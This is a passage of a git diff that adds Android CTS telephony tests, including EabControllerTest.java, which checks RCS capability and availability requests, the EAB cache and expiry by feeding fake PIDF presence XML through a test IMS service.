+                .withValue(CommonDataKinds.Phone.TYPE, CommonDataKinds.Phone.TYPE_MOBILE)
+                .build());
+
+        try {
+            result = mContentResolver.applyBatch(ContactsContract.AUTHORITY, contactInfoList);
+        } catch (Exception e) {
+            fail("Insert contact failed");
+        }
+        return result;
+    }
+
+    private void deletePhoneNumberOfContact() {
+        Cursor cursor = mContentResolver.query(ContactsContract.Contacts.CONTENT_URI,
+                null,
+                ContactsContract.Contacts.DISPLAY_NAME_PRIMARY + "=?",
+                new String[]{TEST_CONTACT_NAME},
+                null);
+        while (cursor.moveToNext()) {
+            String contactId = cursor.getString(cursor.getColumnIndex(
+                    ContactsContract.Contacts.NAME_RAW_CONTACT_ID));
+            mContentResolver.delete(ContactsContract.Data.CONTENT_URI,
+                    ContactsContract.Data.RAW_CONTACT_ID + "=? AND "
+                            + ContactsContract.Data.MIMETYPE + "='"
+                            + CommonDataKinds.Phone.CONTENT_ITEM_TYPE + "'",
+                    new String[]{contactId});
+        }
+        cursor.close();
+    }
+
+    private void cleanupTestContactFromContactProvider() {
+        Cursor cursor = mContentResolver.query(ContactsContract.Contacts.CONTENT_URI,
+                null,
+                ContactsContract.Contacts.DISPLAY_NAME_PRIMARY + "=?",
+                new String[]{TEST_CONTACT_NAME},
+                null);
+        while (cursor.moveToNext()) {
+            String contactId = cursor.getString(cursor.getColumnIndex(
+                    ContactsContract.Contacts.NAME_RAW_CONTACT_ID));
+            mContentResolver.delete(ContactsContract.Data.CONTENT_URI,
+                    ContactsContract.Data.RAW_CONTACT_ID + "=?",
+                    new String[]{contactId});
+        }
+        cursor.close();
+    }
+
+    private void cleanupTestContactInEabProvider() throws Exception {
+        StringBuilder cmdBuilder = new StringBuilder();
+        cmdBuilder.append(COMMAND_BASE).append(COMMAND_REMOVE_EAB_CONTACT)
+                .append(COMMAND_SLOT_IDENTIFIER).append(0).append(" ").append(sTestPhoneNumber);
+        TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
+                cmdBuilder.toString());
+        waitingEabProviderDeleteContact(sTestPhoneNumber, POLLING_RETRY_TIMES);
+
+        cmdBuilder = new StringBuilder();
+        cmdBuilder.append(COMMAND_BASE).append(COMMAND_REMOVE_EAB_CONTACT)
+                .append(COMMAND_SLOT_IDENTIFIER).append(0).append(" ")
+                .append(sUpdatePhoneNumber);
+        TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
+                cmdBuilder.toString());
+        waitingEabProviderDeleteContact(sUpdatePhoneNumber, POLLING_RETRY_TIMES);
+    }
+
+    private static void updateEabCarrierConfig(boolean enable) throws Exception {
+        sReceiver.clearQueue();
+
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.KEY_USE_RCS_SIP_OPTIONS_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_CAPABILITY_EXCHANGE_BOOL,
+                true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_RCS_BULK_CAPABILITY_EXCHANGE_BOOL, enable);
+        overrideCarrierConfig(bundle);
+
+        sReceiver.waitForCarrierConfigChanged();
+    }
+
+    private static void updateEabUserSettings(boolean enable) {
+        ImsManager manager = mContext.getSystemService(ImsManager.class);
+        try {
+            ImsRcsManager rcsManager = manager.getImsRcsManager(sTestSub);
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                    rcsManager.getUceAdapter(),
+                    (adapter) -> adapter.setUceSettingEnabled(enable),
+                    ImsException.class,
+                    "android.permission.MODIFY_PHONE_STATE");
+        } catch (Exception e) {
+            Log.d(TAG, "fail on setting setUceSettingEnabled to true", e);
+        }
+    }
+
+    private static void overrideCarrierConfig(PersistableBundle bundle) {
+        CarrierConfigManager carrierConfigManager = mContext.getSystemService(
+                CarrierConfigManager.class);
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(carrierConfigManager,
+                (m) -> m.overrideConfig(sTestSub, bundle));
+    }
+
+    private static boolean getBooleanCarrierConfig(String key, int subId) {
+        CarrierConfigManager mConfigManager = mContext.getSystemService(CarrierConfigManager.class);
+        PersistableBundle b = null;
+        if (mConfigManager != null) {
+            b = mConfigManager.getConfigForSubId(subId);
+        }
+        if (b != null) {
+            return b.getBoolean(key);
+        } else {
+            return CarrierConfigManager.getDefaultConfig().getBoolean(key);
+        }
+    }
+
+    private static boolean isUserEnableUce() {
+        ImsManager manager = mContext.getSystemService(ImsManager.class);
+        if (manager == null) {
+            Log.e(TAG, "ImsManager is null");
+            return false;
+        }
+        try {
+            ImsRcsManager rcsManager = manager.getImsRcsManager(sTestSub);
+            return (rcsManager != null) && rcsManager.getUceAdapter().isUceSettingEnabled();
+        } catch (Exception e) {
+            Log.e(TAG, "hasUserEnabledUce: exception = " + e.getMessage());
+        }
+        return false;
+    }
+
+    private static void connectTestImsService() throws Exception {
+        assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+                .build()));
+
+        // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
+        // Framework did not call it.
+        assertTrue("Did not receive createRcsFeature", sServiceConnector.getCarrierService()
+                .waitForLatchCountdown(TestImsService.LATCH_CREATE_RCS));
+        assertTrue("Did not receive RcsFeature#onReady", sServiceConnector.getCarrierService()
+                .waitForLatchCountdown(TestImsService.LATCH_RCS_READY));
+        // Make sure the RcsFeature was created in the test service.
+        assertNotNull("Device ImsService created, but TestDeviceImsService#createRcsFeature was not"
+                + "called!", sServiceConnector.getCarrierService().getRcsFeature());
+        assertTrue("Did not receive RcsFeature#setCapabilityExchangeEventListener",
+                sServiceConnector.getCarrierService().waitForLatchCountdown(
+                        TestImsService.LATCH_UCE_LISTENER_SET));
+        int serviceSlot = sServiceConnector.getCarrierService().getRcsFeature().getSlotIndex();
+        assertEquals("The slot specified for the test (" + sTestSlot + ") does not match the "
+                        + "assigned slot (" + serviceSlot + "+ for the associated RcsFeature",
+                sTestSlot, serviceSlot);
+    }
+
+    private static String generateRandomPhoneNumber() {
+        Random random = new Random();
+        StringBuilder builder = new StringBuilder();
+        for (int i = 0; i < 10; i++) {
+            builder.append(random.nextInt(10));
+        }
+        return builder.toString();
+    }
+
+    private void fakeNetworkResult(String pidfXml) {
+        TestRcsCapabilityExchangeImpl capabilityExchangeImpl = sServiceConnector
+                .getCarrierService().getRcsFeature().getRcsCapabilityExchangeImpl();
+
+        ArrayList<String> pidfXmlList = new ArrayList<>(1);
+        pidfXmlList.add(pidfXml);
+
+        // Setup the network response is 200 OK and notify capabilities update
+        int networkRespCode = 200;
+        String networkRespReason = "OK";
+        capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+            cb.onNetworkResponse(networkRespCode, networkRespReason);
+            cb.onNotifyCapabilitiesUpdate(pidfXmlList);
+            cb.onTerminated("", 0L);
+            mWaitNotifyResult.countDown();
+        });
+    }
+
+    private String getPidfXmlData() {
+        GregorianCalendar date = new GregorianCalendar();
+        date.add(Calendar.DATE, 120);
+
+        String timeStamp = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ssXXX")
+                .format(date.getTime());
+
+        String pidfBuilder = "<?xml version='1.0' encoding='utf-8' standalone='yes' ?>"
+                + "<presence entity=\"" + sTestNumberUri + "\""
+                + " xmlns=\"urn:ietf:params:xml:ns:pidf\""
+                + " xmlns:op=\"urn:oma:xml:prs:pidf:oma-pres\""
+                + " xmlns:caps=\"urn:ietf:params:xml:ns:pidf:caps\">"
+                + "<tuple id=\"tid0\">"
+                // status
+                + "<status><basic>"
+                + RcsContactPresenceTuple.TUPLE_BASIC_STATUS_OPEN
+                + "</basic></status>"
+                // timestamp
+                + "<timestamp>" + timeStamp + "</timestamp>"
+
+                // service description
+                + "<op:service-description>"
+                + "<op:service-id>service_id_01</op:service-id>"
+                + "<op:version>1.0</op:version>"
+                + "<op:description>" + TEST_SERVICE_DESCRIPTION + "</op:description>"
+                + "</op:service-description>"
+
+                // service capabilities
+                + "<caps:servcaps>"
+                // audio capabilities
+                + "<caps:audio>" + false + "</caps:audio>"
+                // video capabilities
+                + "<caps:video>" + true + "</caps:video>"
+
+                // duplex mode
+                + "<caps:duplex>"
+                // support duplex mode
+                + "<caps:supported>"
+                + "<caps:" + RcsContactPresenceTuple.ServiceCapabilities.DUPLEX_MODE_RECEIVE_ONLY
+                + "/>"
+                + "</caps:supported>"
+
+                // unsupported duplex mode
+                + "<caps:notsupported>"
+                + "<caps:" + RcsContactPresenceTuple.ServiceCapabilities.DUPLEX_MODE_SEND_ONLY
+                + "/>"
+                + "</caps:notsupported>"
+                + "</caps:duplex>"
+                + "</caps:servcaps>"
+                + "<contact>" + sTestNumberUri + "</contact>"
+                + "</tuple>"
+                + "</presence>";
+        return pidfBuilder;
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/EabControllerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/EabControllerTest.java
new file mode 100644
index 0000000..2b613c6
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/EabControllerTest.java
@@ -0,0 +1,614 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static android.telephony.ims.RcsContactPresenceTuple.ServiceCapabilities.DUPLEX_MODE_RECEIVE_ONLY;
+import static android.telephony.ims.RcsContactPresenceTuple.ServiceCapabilities.DUPLEX_MODE_SEND_ONLY;
+import static android.telephony.ims.RcsContactPresenceTuple.TUPLE_BASIC_STATUS_OPEN;
+import static android.telephony.ims.RcsContactUceCapability.REQUEST_RESULT_FOUND;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.Uri;
+import android.os.PersistableBundle;
+import android.telecom.PhoneAccount;
+import android.telephony.CarrierConfigManager;
+import android.telephony.SubscriptionManager;
+import android.telephony.ims.ImsException;
+import android.telephony.ims.ImsManager;
+import android.telephony.ims.RcsContactPresenceTuple;
+import android.telephony.ims.RcsContactUceCapability;
+import android.telephony.ims.RcsUceAdapter;
+import android.telephony.ims.feature.ImsFeature;
+import android.telephony.ims.stub.ImsFeatureConfiguration;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import java.text.SimpleDateFormat;
+import java.util.ArrayList;
+import java.util.Calendar;
+import java.util.GregorianCalendar;
+import java.util.List;
+import java.util.Random;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class EabControllerTest {
+
+    private static final String TAG = "EabControllerTest";
+
+    private static int sTestSlot = SubscriptionManager.INVALID_SIM_SLOT_INDEX;
+    private static int sTestSub = SubscriptionManager.INVALID_SUBSCRIPTION_ID;
+    private static ImsServiceConnector sServiceConnector;
+    private static CarrierConfigReceiver sReceiver;
+    private static String sTestPhoneNumber;
+    private static Uri sTestNumberUri;
+    private static boolean sDeviceUceEnabled;
+
+    private static final String TEST_SERVICE_DESCRIPTION = "description_test1";
+
+    BlockingQueue<Long> mErrorQueue = new LinkedBlockingQueue<>();
+    BlockingQueue<Boolean> mCompleteQueue = new LinkedBlockingQueue<>();
+    BlockingQueue<RcsContactUceCapability> mCapabilityQueue = new LinkedBlockingQueue<>();
+    RcsUceAdapter.CapabilitiesCallback mCallback = new RcsUceAdapter.CapabilitiesCallback() {
+        @Override
+        public void onCapabilitiesReceived(List<RcsContactUceCapability> capabilities) {
+            capabilities.forEach(c -> mCapabilityQueue.offer(c));
+        }
+
+        @Override
+        public void onComplete() {
+            mCompleteQueue.offer(true);
+        }
+
+        @Override
+        public void onError(int errorCode, long retryAfterMilliseconds) {
+            mErrorQueue.offer(new Long(errorCode));
+            mErrorQueue.offer(retryAfterMilliseconds);
+        }
+    };
+
+    private static class CarrierConfigReceiver extends BroadcastReceiver {
+        private CountDownLatch mLatch = new CountDownLatch(1);
+        private final int mSubId;
+
+        CarrierConfigReceiver(int subId) {
+            mSubId = subId;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED.equals(intent.getAction())) {
+                int subId = intent.getIntExtra(CarrierConfigManager.EXTRA_SUBSCRIPTION_INDEX, -1);
+                if (mSubId == subId) {
+                    mLatch.countDown();
+                }
+            }
+        }
+
+        void clearQueue() {
+            mLatch = new CountDownLatch(1);
+        }
+
+        void waitForCarrierConfigChanged() throws Exception {
+            mLatch.await(5000, TimeUnit.MILLISECONDS);
+        }
+    }
+
+    @BeforeClass
+    public static void beforeAllTests() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        sTestPhoneNumber = generateRandomPhoneNumber();
+        sTestNumberUri = Uri.fromParts(PhoneAccount.SCHEME_TEL, sTestPhoneNumber, null);
+
+        sTestSub = ImsUtils.getPreferredActiveSubId();
+        sTestSlot = SubscriptionManager.getSlotIndex(sTestSub);
+
+        sServiceConnector = new ImsServiceConnector(InstrumentationRegistry.getInstrumentation());
+        sServiceConnector.clearAllActiveImsServices(sTestSlot);
+        sDeviceUceEnabled = sServiceConnector.getDeviceUceEnabled();
+        sServiceConnector.setDeviceUceEnabled(true);
+
+        sReceiver = new CarrierConfigReceiver(sTestSub);
+        IntentFilter filter = new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED);
+        // ACTION_CARRIER_CONFIG_CHANGED is sticky, so we will get a callback right away.
+        InstrumentationRegistry.getInstrumentation().getContext()
+                .registerReceiver(sReceiver, filter);
+
+        overrideCarrierConfig();
+
+        connectTestImsService();
+    }
+
+    private static String generateRandomPhoneNumber() {
+        Random random = new Random();
+        StringBuilder builder = new StringBuilder();
+        for (int i = 0; i < 10; i++) {
+            builder.append(random.nextInt(10));
+        }
+        return builder.toString();
+    }
+
+    @AfterClass
+    public static void afterAllTests() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // Restore all ImsService configurations that existed before the test.
+        if (sServiceConnector != null) {
+            sServiceConnector.disconnectCarrierImsService();
+            sServiceConnector.disconnectDeviceImsService();
+            sServiceConnector.disconnectServices();
+            sServiceConnector.setDeviceUceEnabled(sDeviceUceEnabled);
+        }
+        sServiceConnector = null;
+
+        if (sReceiver != null) {
+            InstrumentationRegistry.getInstrumentation().getContext().unregisterReceiver(sReceiver);
+            sReceiver = null;
+        }
+
+        overrideCarrierConfig(null);
+    }
+
+    @Before
+    public void beforeTest() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        if (!SubscriptionManager.isValidSubscriptionId(sTestSub)) {
+            fail("This test requires that there is a SIM in the device!");
+        }
+    }
+
+    @After
+    public void afterTest() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // Remove all the test contacts from EAB database
+        removeTestContactFromEab();
+
+        mErrorQueue.clear();
+        mCompleteQueue.clear();
+        mCapabilityQueue.clear();
+    }
+
+    @Test
+    public void testRequestCapabilities() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ArrayList<Uri> contacts = new ArrayList<>(1);
+        contacts.add(sTestNumberUri);
+        fakeNetworkResult(getPidfXmlData(
+                sTestNumberUri,
+                TEST_SERVICE_DESCRIPTION,
+                TUPLE_BASIC_STATUS_OPEN,
+                false,
+                true,
+                DUPLEX_MODE_RECEIVE_ONLY,
+                DUPLEX_MODE_SEND_ONLY,
+                false));
+        // Request capabilities for saving capability to EAB provider
+        requestCapabilities(contacts);
+        mErrorQueue.clear();
+        mCompleteQueue.clear();
+        mCapabilityQueue.clear();
+
+        // Request capabilities again to get the capabilities in EAB provider
+        RcsContactUceCapability capability = requestCapabilities(contacts);
+
+        // Verify that the capability in EAB is the same as expected
+        verifyCapabilityResult(capability,
+                sTestNumberUri,
+                TEST_SERVICE_DESCRIPTION,
+                TUPLE_BASIC_STATUS_OPEN,
+                REQUEST_RESULT_FOUND,
+                RcsContactUceCapability.SOURCE_TYPE_CACHED,
+                false,
+                true,
+                DUPLEX_MODE_RECEIVE_ONLY,
+                DUPLEX_MODE_SEND_ONLY);
+
+        // Verify the onCompleted is called
+        waitForResult(mCompleteQueue);
+    }
+
+    @Test
+    public void testRequestAvailabilities() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        fakeNetworkResult(getPidfXmlData(
+                sTestNumberUri,
+                TEST_SERVICE_DESCRIPTION,
+                TUPLE_BASIC_STATUS_OPEN,
+                false,
+                true,
+                DUPLEX_MODE_RECEIVE_ONLY,
+                DUPLEX_MODE_SEND_ONLY,
+                false));
+        // Request capabilities for saving capability to EAB provider
+        requestAvailability(sTestNumberUri);
+        mErrorQueue.clear();
+        mCompleteQueue.clear();
+        mCapabilityQueue.clear();
+
+        // Request capabilities again to get the capabilities in EAB provider
+        RcsContactUceCapability capability = requestAvailability(sTestNumberUri);
+
+        // Verify that the capability in EAB is the same as expected
+        verifyCapabilityResult(capability,
+                sTestNumberUri,
+                TEST_SERVICE_DESCRIPTION,
+                TUPLE_BASIC_STATUS_OPEN,
+                REQUEST_RESULT_FOUND,
+                RcsContactUceCapability.SOURCE_TYPE_CACHED,
+                false,
+                true,
+                DUPLEX_MODE_RECEIVE_ONLY,
+                DUPLEX_MODE_SEND_ONLY);
+
+        // Verify the onCompleted is called
+        waitForResult(mCompleteQueue);
+    }
+
+    @Test
+    public void testRequestExpiredCapabilities() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ArrayList<Uri> contacts = new ArrayList<>(1);
+        contacts.add(sTestNumberUri);
+        fakeNetworkResult(getPidfXmlData(
+                sTestNumberUri,
+                TEST_SERVICE_DESCRIPTION,
+                TUPLE_BASIC_STATUS_OPEN,
+                false,
+                true,
+                DUPLEX_MODE_RECEIVE_ONLY,
+                DUPLEX_MODE_SEND_ONLY,
+                true));
+        // Request capabilities for saving expired capability to EAB provider
+        requestCapabilities(contacts);
+        mErrorQueue.clear();
+        mCompleteQueue.clear();
+        mCapabilityQueue.clear();
+
+        // Request capabilities again
+        RcsContactUceCapability capability = requestCapabilities(contacts);
+
+        // Verify that return the availabilities from network instead of the EAB provider
+        verifyCapabilityResult(capability,
+                sTestNumberUri,
+                TEST_SERVICE_DESCRIPTION,
+                TUPLE_BASIC_STATUS_OPEN,
+                REQUEST_RESULT_FOUND,
+                RcsContactUceCapability.SOURCE_TYPE_NETWORK,
+                false,
+                true,
+                DUPLEX_MODE_RECEIVE_ONLY,
+                DUPLEX_MODE_SEND_ONLY);
+
+        // Verify the onCompleted is called
+        waitForResult(mCompleteQueue);
+    }
+
+    @Test
+    public void testRequestExpiredAvailabilities() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        fakeNetworkResult(getPidfXmlData(
+                sTestNumberUri,
+                TEST_SERVICE_DESCRIPTION,
+                TUPLE_BASIC_STATUS_OPEN,
+                true,
+                false,
+                DUPLEX_MODE_RECEIVE_ONLY,
+                DUPLEX_MODE_SEND_ONLY,
+                true));
+        // Request availabilities for saving availabilities to EAB provider
+        requestAvailability(sTestNumberUri);
+        mErrorQueue.clear();
+        mCompleteQueue.clear();
+        mCapabilityQueue.clear();
+
+        // Request availabilities again
+        RcsContactUceCapability capability = requestAvailability(sTestNumberUri);
+
+        // Verify that return the availabilities from network instead of the EAB provider
+        verifyCapabilityResult(capability,
+                sTestNumberUri,
+                TEST_SERVICE_DESCRIPTION,
+                TUPLE_BASIC_STATUS_OPEN,
+                REQUEST_RESULT_FOUND,
+                RcsContactUceCapability.SOURCE_TYPE_NETWORK,
+                true,
+                false,
+                DUPLEX_MODE_RECEIVE_ONLY,
+                DUPLEX_MODE_SEND_ONLY);
+
+        // Verify the onCompleted is called
+        waitForResult(mCompleteQueue);
+    }
+
+    private RcsContactUceCapability requestAvailability(Uri contact) throws Exception {
+        // Request capabilities by calling the API requestCapabilities.
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        RcsUceAdapter uceAdapter = imsManager.getImsRcsManager(sTestSub).getUceAdapter();
+
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                    uceAdapter,
+                    adapter -> adapter.requestAvailability(contact, Runnable::run,
+                            mCallback),
+                    ImsException.class,
+                    "android.permission.ACCESS_RCS_USER_CAPABILITY_EXCHANGE");
+        } catch (SecurityException e) {
+            fail("requestCapabilities should succeed with ACCESS_RCS_USER_CAPABILITY_EXCHANGE."
+                    + e);
+        } catch (ImsException e) {
+            fail("requestCapabilities failed " + e);
+        }
+
+        // Verify that all the contact's capabilities are received
+        return waitForResult(mCapabilityQueue);
+    }
+
+    private RcsContactUceCapability requestCapabilities(List<Uri> contact) throws Exception {
+        // Request capabilities by calling the API requestCapabilities.
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        RcsUceAdapter uceAdapter = imsManager.getImsRcsManager(sTestSub).getUceAdapter();
+
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                    uceAdapter,
+                    adapter -> adapter.requestCapabilities(contact, Runnable::run, mCallback),
+                    ImsException.class,
+                    "android.permission.ACCESS_RCS_USER_CAPABILITY_EXCHANGE");
+        } catch (SecurityException e) {
+            fail("requestCapabilities should succeed with ACCESS_RCS_USER_CAPABILITY_EXCHANGE."
+                    + e);
+        } catch (ImsException e) {
+            fail("requestCapabilities failed " + e);
+        }
+
+        // Verify that all the contact's capabilities are received
+        return waitForResult(mCapabilityQueue);
+    }
+
+    private static void overrideCarrierConfig() throws Exception {
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        RcsUceAdapter uceAdapter = imsManager.getImsRcsManager(sTestSub).getUceAdapter();
+        assertNotNull("UCE adapter should not be null!", uceAdapter);
+
+
+        // Trigger carrier config changed
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_CAPABILITY_EXCHANGE_BOOL,
+                true);
+        overrideCarrierConfig(bundle);
+    }
+
+    private void fakeNetworkResult(String pidfXml) {
+        TestRcsCapabilityExchangeImpl capabilityExchangeImpl = sServiceConnector
+                .getCarrierService().getRcsFeature().getRcsCapabilityExchangeImpl();
+
+        ArrayList<String> pidfXmlList = new ArrayList<>(1);
+        pidfXmlList.add(pidfXml);
+
+        // Setup the network response is 200 OK and notify capabilities update
+        int networkRespCode = 200;
+        String networkRespReason = "OK";
+        capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+            cb.onNetworkResponse(networkRespCode, networkRespReason);
+            cb.onNotifyCapabilitiesUpdate(pidfXmlList);
+            cb.onTerminated("", 0L);
+        });
+    }
+
+    private String getPidfXmlData(Uri contact,
+            String serviceDescription,
+            String serviceStatus,
+            boolean audioSupported,
+            boolean videoSupported,
+            String supportedDuplexMode,
+            String unSupportedDuplexMode,
+            boolean isExpired) {
+        GregorianCalendar date = new GregorianCalendar();
+        if (isExpired) {
+            date.add(Calendar.DATE, -120);
+        } else {
+            date.add(Calendar.DATE, 120);
+        }
+        String timeStamp = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ssXXX")
+                .format(date.getTime());
+
+        String pidfBuilder = "<?xml version='1.0' encoding='utf-8' standalone='yes' ?>"
+                + "<presence entity=\"" + contact + "\""
+                + " xmlns=\"urn:ietf:params:xml:ns:pidf\""
+                + " xmlns:op=\"urn:oma:xml:prs:pidf:oma-pres\""
+                + " xmlns:caps=\"urn:ietf:params:xml:ns:pidf:caps\">"
+                + "<tuple id=\"tid0\">"
+                // status
+                + "<status><basic>" + serviceStatus + "</basic></status>"
+                // timestamp
+                + "<timestamp>" + timeStamp + "</timestamp>"
+
+                // service description
+                + "<op:service-description>"
+                + "<op:service-id>service_id_01</op:service-id>"
+                + "<op:version>1.0</op:version>"
+                + "<op:description>" + serviceDescription + "</op:description>"
+                + "</op:service-description>"
+
+                // service capabilities
+                + "<caps:servcaps>"
+                // audio capabilities
+                + "<caps:audio>" + audioSupported + "</caps:audio>"
+                // video capabilities
+                + "<caps:video>" + videoSupported + "</caps:video>"
+
+                // duplex mode
+                + "<caps:duplex>"
+                // support duplex mode
+                + "<caps:supported>"
+                + "<caps:" + supportedDuplexMode + "/>"
+                + "</caps:supported>"
+
+                // unsupported duplex mode
+                + "<caps:notsupported>"
+                + "<caps:" + unSupportedDuplexMode + "/>"
+                + "</caps:notsupported>"
+                + "</caps:duplex>"
+                + "</caps:servcaps>"
+                + "<contact>" + contact + "</contact>"
+                + "</tuple>"
+                + "</presence>";
+        return pidfBuilder;
+    }
+
+    private void verifyCapabilityResult(RcsContactUceCapability resultCapability,
+            Uri expectedUri,
+            String serviceDescription,
+            String serviceStatus,
+            int expectedResult,
+            int expectedSourceType,
+            boolean expectedAudioSupported,
+            boolean expectedVideoSupported,
+            String expectedSupportedDuplexMode,
+            String expectedUnSupportedDuplexMode) {
+        // Verify the contact URI
+        assertEquals(expectedUri, resultCapability.getContactUri());
+
+        // Verify the source type is the network type.
+        assertEquals(expectedSourceType, resultCapability.getSourceType());
+
+        // Verify the request result is expected.
+        final int requestResult = resultCapability.getRequestResult();
+        assertEquals(requestResult, expectedResult);
+
+        // Verify the mechanism is presence
+        assertEquals(RcsContactUceCapability.CAPABILITY_MECHANISM_PRESENCE,
+                resultCapability.getCapabilityMechanism());
+
+        RcsContactPresenceTuple presenceTuple =
+                resultCapability.getCapabilityTuple("service_id_01");
+        assertNotNull("Contact Presence tuple should not be null!", presenceTuple);
+
+        RcsContactPresenceTuple.ServiceCapabilities capabilities =
+                presenceTuple.getServiceCapabilities();
+        assertNotNull("Service capabilities should not be null!", capabilities);
+
+        // Verify timestamp
+        assertNotNull("Timestamp should not be null!", presenceTuple.getTime());
+
+        // Verify service id
+        assertEquals("service_id_01", presenceTuple.getServiceId());
+
+        // Verify service status
+        assertEquals(serviceStatus, presenceTuple.getStatus());
+
+        // Verify service description
+        assertEquals(serviceDescription, presenceTuple.getServiceDescription());
+
+        // Verify audio
+        assertEquals(expectedAudioSupported, capabilities.isAudioCapable());
+
+        // Verify video
+        assertEquals(expectedVideoSupported, capabilities.isVideoCapable());
+
+        // Verify Supported Duplex Mode
+        assertEquals(expectedSupportedDuplexMode, capabilities.getSupportedDuplexModes().get(0));
+
+        // Verify UnSupported Duplex Mode
+        assertEquals(expectedUnSupportedDuplexMode,
+                capabilities.getUnsupportedDuplexModes().get(0));
+    }
+
+    private <T> T waitForResult(BlockingQueue<T> queue) throws Exception {
+        return queue.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+    }
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getContext();
+    }
+
+    private static void connectTestImsService() throws Exception {
+        assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+                .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+                .build()));
+
+        // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
+        // Framework did not call it.
+        assertTrue("Did not receive createRcsFeature", sServiceConnector.getCarrierService()
+                .waitForLatchCountdown(TestImsService.LATCH_CREATE_RCS));
+        assertTrue("Did not receive RcsFeature#onReady", sServiceConnector.getCarrierService()
+                .waitForLatchCountdown(TestImsService.LATCH_RCS_READY));
+        // Make sure the RcsFeature was created in the test service.
+        assertNotNull("Device ImsService created, but TestDeviceImsService#createRcsFeature was not"
+                + "called!", sServiceConnector.getCarrierService().getRcsFeature());
+        assertTrue("Did not receive RcsFeature#setCapabilityExchangeEventListener",
+                sServiceConnector.getCarrierService().waitForLatchCountdown(
+                        TestImsService.LATCH_UCE_LISTENER_SET));
+        int serviceSlot = sServiceConnector.getCarrierService().getRcsFeature().getSlotIndex();
+        assertEquals("The slot specified for the test (" + sTestSlot + ") does not match the "
+                        + "assigned slot (" + serviceSlot + "+ for the associated RcsFeature",
+                sTestSlot, serviceSlot);
+    }
+
+    private static void overrideCarrierConfig(PersistableBundle bundle) throws Exception {
+        CarrierConfigManager carrierConfigManager = InstrumentationRegistry.getInstrumentation()
+                .getContext().getSystemService(CarrierConfigManager.class);
+        sReceiver.clearQueue();
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(carrierConfigManager,
+                (m) -> m.overrideConfig(sTestSub, bundle));
+        sReceiver.waitForCarrierConfigChanged();
+    }
+
+    private static void removeTestContactFromEab() {
+        try {
+            sServiceConnector.removeEabContacts(sTestSlot, sTestPhoneNumber);
+        } catch (Exception e) {
+            Log.w("RcsUceAdapterTest", "Cannot remove test contacts from eab database: " + e);
+        }
+    }
+}
